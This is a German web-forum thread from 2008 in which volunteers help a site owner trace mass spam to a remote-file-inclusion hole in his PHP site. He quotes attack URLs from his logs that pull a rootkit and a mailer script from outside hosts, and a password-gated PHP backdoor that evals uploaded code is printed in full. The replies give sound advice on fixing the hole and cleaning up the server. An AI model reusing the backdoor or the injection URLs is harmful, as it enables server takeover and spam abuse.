PDA

Archiv verlassen und diese Seite im Standarddesign anzeigen : Spam Mails ohne Ende obwohl Kontaktformular offline



Kodi
07.03.2008, 13:55
Hallo Leute,
brauche dringend hilfe da ich unglaublich viele e-Mails pro Minute bekomme.

Anscheind kommen die e-Mails von einem Kontaktformular auf meiner HP.
Nun ist die HP offline geschaltet aber ich bekomme immer noch so viele
E-Mails. Bitte Bitte brauche dringend hilfe. Wie kann ich das abstellen.
Oder hat jemand infos für mich?

Gruss
Ko

heinerle
07.03.2008, 14:18
...
Oder hat jemand infos für mich?

Zuerst brauchen wir mal Infos von Dir:

Poste doch mal den Header (IP und Servernamen ausXXXen) einer typischen Spammail (benutze dazu den Header-Tag oben rechts im Editor).


Nun ist die HP offline geschaltet ...
was verstehst Du unter "offline geschaltet" - Apache läuft nicht mehr oder index.html gelöscht?

Kodi
07.03.2008, 14:24
Folgendes ist in der Mail:
____________________________________________________


This message was created automatically by mail delivery software.

A message that you sent could not be delivered to one or more of its
recipients. This is a permanent error. The following address(es) failed:


SMTP error from remote mailer after RCPT TO::
host mx1.hotmail.com [65.54.245.8]: 550 Requested action not taken:
mailbox unavailable

------ This is a copy of the message, including all the headers. ------

Return-path: <info [at] willichnichtzeigen.de>
Received: from nobody by wpxx.webpack.hosteurope.de running ExIM using local
ID: [ID filtered]
To:
Subject: Te adoro!
X-PHP-Script: www.willichnichtzeigen.de/anmeldung.php for 2xx.5x.x.1x, 2xx.5x.x.1x
Date: Fri, 7 Mar 2008 xx:xx:xx +0100
From: Marcela <correio [at] correiosonline.com>
Reply-to: Marcela <correio [at] correiosonline.com>
Message-ID: [ID filtered]
Content-Transfer-Encoding: 8bit
Content-Type: text/html; charset="iso-8859-1"

<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html><!--309253548481-->
<head><!--309253548481-->




<meta content="text/html; charset=ISO-8859-1" http-equiv="content-type">




<title>declaracoes</title>
</head>


<!--309253548481--><body>


<span style="font-family: Microsoft Sans Serif;">Ol&aacute;, n&atilde;o sei nem como come&ccedil;ar este email...<br>
Fico at&eacute; sem gra&ccedil;a de falar por aqui, me abrir, te falar o que sinto por email<br>
mas foi a unica maneira que encontrei sem correr o risco de me ferir novamente..<br>
Juro que voce &eacute; tudo que sonhei pra minha vida, eu adoro estar com voc&Ecirc;<br>


desculpa esta falando por aqui, mas foi a unica maneira..<br>
Eu fiz uma animacao com nossas fotos, &nbsp;com maior carinho , espero que goste...<br>
Vou te conquistar e te ter pra mim, JURO!<br>
<br>
AMO VOC&Ecirc;...<br>
<br>


<a href="http://www.escuela350-sanpablo.com.ar/modules/Forums/images/subject/ver.php">
http://animacoes.yahoo.com.br/index.php?dec=Dec0365215</a></span>
</body>
</html>




____________________________________________________


Glaub der Server an sich ist offline. Seiten wurden keine gelöscht.
Hab lediglich die PHP Mail funktionen deaktiviert.

Gruss
Ko

heinerle
07.03.2008, 19:04
und was passiert, wenn Du www.willichnichtzeigen.de/anmeldung.php direkt aufrufst?

Sofern das Skript noch vorhanden ist darfst Du Dich nicht wundern, daß weitergespamt wird, denn wenn die URL erst mal bekannt ist dann wird sie direkt verwendet, ohne Umweg über irgendwelche darauf verlinkenden Seiten.

Wenn dies der Fall ist dann benenne das Skript in anmeldung.txt um (oder xghrtz.txt).

Kodi
10.03.2008, 10:17
Eigentlich passiert nichts in den Anmeldung.php wenn ich sie aufrufe.
Dort ist nicht einmal eine Mail Funktion drin.

Kann es sein das es auch am Provider liegt.
Ich musste für das Skript bei der Mail Funkion folgendes ranhängen:
"-f poor [at] spamvictim.tld"

Sonst hat das Skript keine Mails versandt.

Zu dem Umbenennen der anmeldung.php in anmeldung.txt.:

Sag mal, reicht es auch wenn ich die mail PHP Funktion einfach
deaktiviere? Möchte das die Seite trodzem online bleibt.

Zur Sicherheit des Formulars:
Nun habe ich schon ein Captcha drin,
die Eingenben werden Überprüft z.B. auch ob
Header Befehle wie To: Cc: Bc: etc.
vorkommen.
Habe auch zusätzlich ein verstecktes Feld in
das Formular gelegt, das nicht zu sehen ist und
leer sein muss vor dem Absenden.

Weis jemand wie ich mein Mail Formular sicher mache.
Nun bekomme ich trotzdem schon wieder tausende von Mails.

Bin dankbar für jeden Hinweis.




Gruss
Ko

SpamRam
10.03.2008, 11:35
Da die Spam-Mails nicht durch Formulareingaben kommen (da wird das Formular gar nicht ausgefüllt), sondern komplett ausgefüllte Formulare direkt an die im Formular angegebene Empfangsadresse gesendet werden, hilft eigentlich nur eines: die Empfangsadresse ändern und auf jeden Fall das Catch-All abschalten (wenn es denn noch läuft).

Üblich ist z.B. folgende Zeile:

<input type="HIDDEN" name="recipient" value="anfrage [at] domain.de">

Also Mailadresse "anfrage" löschen und stattdessen irgendeine andere Adresse definieren.

Es nützt überhaupt nichts, jetzt noch alle möglichen Formularabprüfungen einzubauen. Die Prüfungen müssten im Empfangsprogramm erfolgen, auf das man üblicherweise keinen Zugriff hat.

Diese Prüfroutinen machen nur Sinn, in einem Formular mit geänderter Empfangsadresse.

Kodi
10.03.2008, 18:24
Also liegt es garnicht an der Filterung. Ich hab gefiltert bis fast keine Buchstaben mehr durchkahmen.

Wie bekommen die denn Ihre Formularinfos in die Mail Funktion rein?
Kapier es nicht.
Wenn jemand von Hand mein Formular benutzt und spamen möchte, hab
ich ja dann eigentlich überhaupt keine Chance das zu unterbinden. Oder?


Nach dem absenden des Formulars muss man eine Minute warten bis zum
nächsten absenden.Kann der Spamer bzw. der Bot mit einmal abschicken dann tausende von Mails versenden?

Man muss doch sein Formular irgendwie safe bekommen.
Captschas bringen es ja auch nicht.
Hab mir Captscha Bilder augeschaut die von Bots gelesen werden können.
Ich war baff das die Bots solche Zeichen entziffern können.

Die Variante mit der Rechenaufgabe ist auch sehr bedenklich.
Anscheind gibts da nicht so recht ne Antwort auf dieses Problem.

Danke aber schon mal sehr für die bisherige Infos..


Eine Sache noch. Kann man sagen das es auch am Provider liegt, das man evt.
besonders Spam gefährdet ist?

Kodi

actro
10.03.2008, 18:28
ganz einfach machen die das..
bei den meisten formularen werden die werte durch POST übergeben..
die senden den aufruf gleich mit, in etwa so:


http://deineseite.de/kontaktformularabsenden.php&name&emailadresse&foo..

damit wird der gesamte kram umgangen..
du solltest mal zu den zeiten, wo die fraglichen mails geschickt wurden durch die apache-logs greppen, da wirst du die antwort finden.

Kodi
10.03.2008, 20:04
Merkwürdig...die Umgehen die Post Vars mit den GET Vars?

Hab grad etwas in den Logs gefunden.
Kann es sein das über eine GET Variable die Spamattacken
ausgeführt werden?

meineseite.php?site=http://www.cmdlist.xpg.com.br/cmd.txt
oder z.b.
meineseite.php?site=http://www.vuls2008.kit.net/rev.txt

in der Zweiten txt steht irgendwie auch was von wegen smtp.

Ist es das? Und jemand ne Idee wie ich mich davor schützen kann.
Ich glaub das ist es.

Bis so dermassen gespannt.

actro
10.03.2008, 20:13
das sieht so aus, ja..

homer
10.03.2008, 21:00
Merkwürdig...die Umgehen die Post Vars mit den GET Vars?]
Muss nicht sein. Man kann z.B. mit wget die Variablen auch mit POST übergeben.


meineseite.php?site=http://www.cmdlist.xpg.com.br/cmd.txt
Na prima, dieses PHP-Script versucht, ein r0nin-Rootkit (http://www.google.de/search?q=r0nin&ie=utf-8&oe=utf-8) zu installieren.


meineseite.php?site=http://www.vuls2008.kit.net/rev.txt
Und das scheint mt so eine Art Formmailer zu sein. Was allerdings dieser riesen Datenwurm am Ende der Datei macht kann ich im Moment nicht sagen. Auf jeden Fall schein sich r3v3ng4ns [at] gmail.com über viele Mails zu freuen.

Du solltest dringend mal Deine PHP-Scripten prüfen, was die so ungeprüft includen oder per load-Befehl reinholen.

[Edit] Dieser Datenwurm scheint einfach die "PHPMailer"-Klasse zu sein, die ein Spammerhelfer "codiert" hat:

/**
* PHPMailer - PHP email transport class
* @package PHPMailer
* @author Brent R. Matzelle
* @copyright 2001 - 2003 Brent R. Matzelle
*/

actro
10.03.2008, 21:57
Der Datenwurm sind die Empfängeradressen..

Schnapp dir am besten ne ASCII-Tabelle und such dir die Buchstaben zu den zugehörigen Codes. Ansonsten ersetzt der bestimmte Zeichen wie @, Leerzeichen und andere gegen das, was da in dem zweiten Array steht.
Von ${2} wird ${1} + die Ersetzungen abgezogen.

homer
10.03.2008, 22:02
Der Datenwurm sind die Empfängeradressen..
Nein, ich hab mal das Ergebnis dieser "unecrypt()"-Funktion nicht an eval übergeben, sonder in eine Datei schreiben lassen. Dann krieg ich den Quelltext zur besagten PHPMailer-Klasse.

actro
10.03.2008, 22:14
Ah..k.. ich bin von Erfahrungen mit älteren, ähnlichen Scripts ausgegangen..
Noja..warum sollen die Jungs sich nicht auch weiterentwickeln..

Kodi
10.03.2008, 22:17
Echt peinlich! So ein blutiger Anfänger wie ich bin.
So einen groben groben fehler. Die GET VAriable site wird
direkt includet.

Das ist echt schon peinlich.

Nur damit ich nicht noch mehr Unsinn mache, falls
jemand auf sowas dummes noch antworten möchte.

Reicht es aus wenn ich die GET VARIABLE site
überprüfe ob der string http:// oder www. enthält?
Dann kann doch kein externes Skript mehr eingeschleust werden oder?

Gruss, Dank mit roten Wangen
Kodi

homer
10.03.2008, 22:33
So einen groben groben fehler. Die GET VAriable site wird direkt includet.

AUAAAAA! :dumb:


Reicht es aus wenn ich die GET VARIABLE site überprüfe ob der string http:// oder www. enthält?
Hmmm, "www." ist schlecht, das muss nicht zwingend auftauchen. Nach "http:" oder "ftp:" solltest Du filtern. Besser: (vorsicht, stark versionabhängig!) In der php.ini die beiden Variablen "allow_url_fopen" und "allow_url_include" auf "Off" setzen:


allow_url_fopen = Off
allow_url_include = Off
AFAIK ist das eine systemweite Einstellung, die nicht nachträglich in der Apache-Konfig, per .htaccess oder mit einer dieser PHP-Funktionen (wie die heisst fällt mir grade net ein) geändert werden können. Allerdings kann es sein, dass einige ältere Scripte dann nicht mehr laufen.

Andererseits brauchst Du Dir keinen Kopf mehr machen bezüglich von außen eingebundener Scripte, die werden dann von PHP selbst mit einer Fehlermeldung geknickt.

actro
10.03.2008, 22:59
Wenn Du keinen Zugriff auf das System hast, kannst Du das auch per .htaccess setzen in den meisten Fällen..

Allerdings gehe ich mal stark davon aus, dass Dein System eh penetriert ist, von daher würde ich neu aufsetzen.

Nachtrag: schau mal, ob du in /temp verdächtige Files findest. Das rootkit hab ich schon in anderen Versionen vorliegen, bei den meisten penetrierten Kisten habe ich auch einen Eggdrop gefunden, die wurden überwiegend als Warez-Schleudern per DCC mißbraucht.

Kodi
10.03.2008, 23:39
Ihr erschlagt mich gleich richtig.
Das Skript hab ich programmiert ohne das ich mir gross Gedanken über
die Sicherheit gemacht hab. Was man nicht übersehen kann.

Ich hatte das jemanden zum drüberschauen gegeben, als ich bemerkt habe
das Sicherheit das Non Plus Ultra ist. Ich dachte er hatte richtig Plan.
Da hat er mir paar Datenbankanfragen gecheckt und noch paar Dinge.
Er hat nicht mal was gesagt wegen dem Include. Das hätte ich sogar
merken müssen. Ich dachte immer die PHP Dateien, die von fremden
Servern includet werden, werden auch nur auf dem Server ausgeführt.
Lange Rede kurzer Sinn.

Ich brauche dringenst dringens Hilfe das ich es Safe bekomm.
Habt Ihr noch irgendwelche Tips wie ich es ersteinmal sicher bekomme.
Ich danke euch allerdings erstnochmal sehr für eure Hilfe.
Auch wenn kein Hilfreicher Hinweis mehr kommt.
Lasst mich nicht allein :)

WAs hab ich grad gelesen. Root Kit..watt datt denn nu schon wieder.
Wenn mich mein Provider nun Kündigt ist das verherend für mich.
Der Server ist nun das Zweite mal Down. Wenn er jetzt wieder on geht und das
noch einmal passiert, dann __________________ flatline.
Habt Ihr noch etwas am Start?

actro
10.03.2008, 23:54
Hast du so etwas wie einen Rescue-Boot? Wenn ja, kannst Du auf rootkits checken.
Wenn nicht, neu initialisieren lassen und ganz neu aufsetzen..
Solange die Gefahr besteht, dass der Server übernommen wurde, gehört er nicht wieder ins Internet.

Wenn Du Zugriff auf die Konsole hast, kannst du auch mit "locate cmd.txt" oder "locate cmd.gif" schauen, ob etwas heruntergeladen wurde.
Ansonsten hilft dir ein "cat <hier das apache-log> |grep cmd >>hackt.txt" , die relevanten logeinträge in eine textdatei zu legen und sie durchzusehen.

Wie das aussieht, kannst Du hier (http://actrophp.de/tmp/hack.log) erkennen.

Kodi
11.03.2008, 00:10
Leider hab ich keinen Zugriff auf irgendwas, ausser den Logfiles.
Am Server kann ich nichts einstellen.
Ich bin so müde und kann nicht schlafen. :eek:

Was anderes noch.
Könnte ich die Include Lücke nicht schliessen indem ich nur
includes aus einem bestimmten Ordner zulasse.

diephpseite.php?site=pages/seite.php

So das nur die Seiten in dem Ordner includet werden dürfen?
Ist das sicher deiner Meinung nach?

homer
11.03.2008, 08:22
Ich dachte immer die PHP Dateien, die von fremden
Servern includet werden, werden auch nur auf dem Server ausgeführt.
Ja, wenn sie dort durch den PHP-Parser gejagt werden. Was bei .txt-Dateien normalerweise nicht der Fall ist.


Ich brauche dringenst dringens Hilfe das ich es Safe bekomm.
Habt Ihr noch irgendwelche Tips wie ich es ersteinmal sicher bekomme.
Mach einfach ein Array mit erlaubten Seiten und prüfe die übergebenen Werte dagegen:


$erlaubteSeiten = array('seite1','seite2','seite3','pfad/seite4');
if (in_array($_REQUEST['site'],$erlaubteSeiten)) {
include($_REQUEST['site'].'php');
} else {
include('defaultseite.php');
}
Was hab ich grad gelesen. Root Kit..watt datt denn nu schon wieder.
Ich hab nur geschrieben, dass versucht wurde, das Teil zu installieren. Ob die das geschafft haben ist eine andere Sache. Schau Dir doch mal meinen Link oben an, da steht auch, wie man r0nin wieder los wird.

Kodi
11.03.2008, 13:35
Danke dir.
Kannst du mir noch sagen wie es ausschaut wenn ich url´s include
die aus der Datebank kommen und nicht als Get Var vorhanden sind?
Das ist doch dann unbedenktlich oder?

homer
11.03.2008, 14:14
Kannst du mir noch sagen wie es ausschaut wenn ich url´s include die aus der Datebank kommen und nicht als Get Var vorhanden sind? Das ist doch dann unbedenktlich oder?
Wenn Dir die URLs nicht per SQL-Injection untergeschoben wurden sollte das unfallfrei funktionieren. Dann ist halt zu beachten, wer alles URLs in die Datenbank einbauen darf. Wenn das wieder eine öffentliche Sache ist, lass die Finger davon.

Kodi
11.03.2008, 19:25
Sorry..hab immer wieder etwas neues.
Ich hab mich zwar schon etwas belesen aber bin mir der vorgehensweise
unsicher.

Wenn ich nun z.B. andere GET Variablen übermittel, müssen diese dann
auch immer überprüft werden?
Diese GET Variablen sagen zum Beispiel nur aus ob ein Iframe
genutzt werden soll oder nicht.
Beispiel: meineseite.php?content=iframe

Ich finde leider keine Antwort auf diese Frage, möchte auch nicht
für jede ,,Kleinigkeit,, das Forum oder besser gesagt dich als meinen persöhnlichen
Helfer ausnutzen.

homer
12.03.2008, 08:33
Wenn ich nun z.B. andere GET Variablen übermittel, müssen diese dannauch immer überprüft werden?
Übergebene Werte müssen immer überprüft werden.
Das gilt nicht nur für PHP, sondern für alle Programme, die Nutzereingaben verarbeiten. Da gibt es lustige Beispiele, was passiert wenn man das nicht tut.

Schau Dir mal SelfPHP (http://www.selfphp.de/) an, besonders das Kapitel zur Prüfung auf fehlerhafte Eingaben (http://www.selfphp.de/praxisbuch/praxisbuchseite.php?site=190&group=32). Wenn man allerdings die Werte aus einem bestimmten Bereich erwartet finde ich es besser, gegen die erlaubten Werde zu prüfen (siehe den PHP-Code wieter oben).

Kodi
13.03.2008, 23:49
Also gilt das für alle Get Variablen!?

Erstmal muss ich sagen, das es mir leID: [ID filtered]
stellen zu müssen die du evt. schon beantwortet hast.

Also alle Get Vars müssen überprüft werden auch wenn Sie nur
mit anderen Strings verglichen werden?
Z.B.

if($_GET['content'] == 'iframe'){
$target = $_GET['content'];
}

Und ich hab noch etwas. Ich hab folgende Dateien auf meinem Server
entdeckt. Kannst du damit was anfangen. Folgender Code steht z.B. in
einer .php Datei.


<?php error_reporting(1);
global $HTTP_SERVER_VARS;
function say($t) { echo "$t\n"; };
function testdata($t) { say(md5("testdata_$t")); };
echo "<pre>";
testdata('start');
if (md5($_POST["p"])=="aace994xxxxbe965acxxxxx75cd3"){ if ($code =fread(@fopen($HTTP_POST_FILES["f"]["tmp_name"],"rb"),$HTTP_POST_FILES["f"]["size"])){ eval($code);
}else{ testdata('f');
};
}else{ testdata('pass');
}; testdata('end');
echo "</pre>";
?>

Gruss
Kodi

actro
13.03.2008, 23:55
Etwas mehr Info wäre schön. Wo gefunden? Wie heisst das Ding?

Ich hab ne recht grosse Exploit-Datenbank, aber so finde ich da nix..

Kodi
14.03.2008, 00:02
ich hänge einfach mal die Dateien an, falls du dir die Mühe machen willst.

Es sind verschiedenen php Dateien mit dem Namen.
ovu.php
wehi.php
lijib.php

dann sind da noch 2 html Dateien drin und eine
ogaqoso.txt Datei die sowas wie ein Passwort enthällt.
(zahlen und buchstaben)


Anhänge gehen hier ja garnicht, ist auch nicht nötig.
In allen PHP Dateien steht das selbe.

Wie meinst du wo gefunden?
Die Dateien waren in verschiedenen Ordnern.

actro
14.03.2008, 00:08
okay..

Mach ein Backup Deiner Daten und setze den Server neu auf.
Näheres dazu hier (http://www.rootforum.de/faq/content/14/183/de/warum-sollte-ich-nach-einem-erfolgreichen-angriff-mein-systems-neu-aufsetzen-lassen.html).

Alles andere wäre jetzt verantwortungslos.

Kodi
14.03.2008, 00:15
Das Problem ist das ich kein Root Server hab.
Das geht über nen Provider.

Also soll ich die mal darauf hinweisen.
Ist das aufwändig für die..machen müssten Sie es eh dann.
Nützt ja nichts.

Oh Oh Oh.

actro
14.03.2008, 00:19
Ja, solltest Du..

shit happens..kann man nix machen..

Kodi
14.03.2008, 00:36
Auf jeden Fall ein dickes Dankeschön, ein Glück das du mich
darauf hingewiesen hast. Danke.

Nach soviel hilfe komm ich mir zwar elendig vor wenn ich weitere Fragen
stelle aber ich machs noch einmal.

Hab die Frage eben schon gestellt.
Muss ich nun jede GET Variable überprüfen.

Ist z.B. so eine GET Var bedenklich?

if($_GET['content'] == 'iframe'){
$target = $_GET['content'];
}

homer
14.03.2008, 09:29
Muss ich nun jede GET Variable überprüfen.
Ist z.B. so eine GET Var bedenklich?
if($_GET['content'] == 'iframe'){
$target = $_GET['content'];
}
Diesen Fall sehe ich als Prüfung. Vergleiche sind ja gerade dazu da, die Gültigkeit zu bestimmen.

Und das muss gemacht werden wenn z.B.

mit dem Wert dieser Variable eine SQL-DB gefüttert werden soll
der Wert als Teil eines Dateinames hergenommen wird
der Wert der Name einer Include-Datei ist
aus dem Wert ein Teil der HTML-Ausgabe gebastelt wird
... andere Gründe, die mir grade nicht einfallenDann muss man den Wert schon prüfen. In Perl gibt es da den tainted-Mode, in dem alle Nutzervariablen als "böse" angesehen werden. Erst nach Übergabe an lokale Variablen kann damit sinnvoll gearbeitet werden. Lieber eine Überprüfung zu viel als eine zu wenig. Und sooo schwer ist das nicht.

Kodi
14.03.2008, 23:42
So jetzt noch mal...
..vielen vielen Dank.

Selten Antworten bekommen die ich auch noch direkt verstehe.
War ne sehr grosse Hilfe.

Gruss
Kodi